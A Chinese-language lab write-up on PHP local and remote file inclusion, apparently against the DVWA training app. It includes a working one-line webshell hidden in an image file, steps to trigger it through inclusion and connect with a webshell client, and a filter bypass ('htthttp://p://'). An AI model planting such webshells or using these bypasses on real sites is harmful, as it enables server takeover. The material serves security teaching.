2_文件包含漏洞
0x00 文件包含
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致文件读取和任意命令执行。
文件包含漏洞分为本地文件包含和远程文件包含,远程文件包含是因为开启了php配置中的allow_url_fopen选项(选项开启后,服务器允许包含一个远程文件);服务器通过PHP的特性去包含任意文件时,由于要包含的文件来源不严格,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
文件包含即程序通过(包含函数)调用本地或远程文件,以此实现拓展功能
被包含的问津可以是各种格式,而当文件里面面包含恶意代码,则会形成远程命令执行或文件上传漏洞
文件包含漏洞主要发生在有包含语句的环境中,;例如PHP具备的include、require等包含函数。
文件包含分为两类:
本地文件包含(local file inclusion):当被包含的文件在服务器本地时,就形成本地文件包含;
远程文件包含 (remote file inclusion):当被包含的文件在第三方服务器的时候,叫做远程文件包含;
可以看一下vulnerabilities下的文件
此时可以新建一个文本文件
在地址栏更改URL可以打开这个文本文件;
我们再来试一下php文件是否可以打开
我们创建了一个shell.php
发现可以运行,里面的PHP函数;
下面。我们换成绝对路径;
发现依然可以;
文件包含本来是正常的,但是如果开发人员不小心,也存在漏洞;
本地文件包含漏洞 LFI
远程文件包含漏洞RFI
0x01 文件包含漏洞 low
<?php $file = $_GET['page']; //The page we wish to display ?>
发现,他对包含的任意文件都不进行限制,我们可以访问网站的各种敏感信息;
本地文件包含+webshell
1.制作一句话木马 ,像 yijuhua.jpg
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
2.上传图片木马文件
3.执行文件包含生成木马文件
4.通过菜刀连接webshell;
制作:
通过edjpgcom把生成木马的文件写入图片
制作后把图片木马文件上传;
到文件包含的地方运行
发现已生成木马文件
接下来用菜刀连接
成功连接!
远程文件包含:
Kali建立服务器:
开启Apache
这时只有Apache的界面;
发现已生成shell2.php
然后,接着用菜刀进行连接
成功连接!
0x02 中安全级别的文件包含
此时本地包含不受影响
而远程包含的http://被过滤
https://也被过滤
不过加入混淆
htthttp://p://
这样就行了
0x03 高安全级别:
基本不存在文件包含漏洞;
但开发者一般不这样干;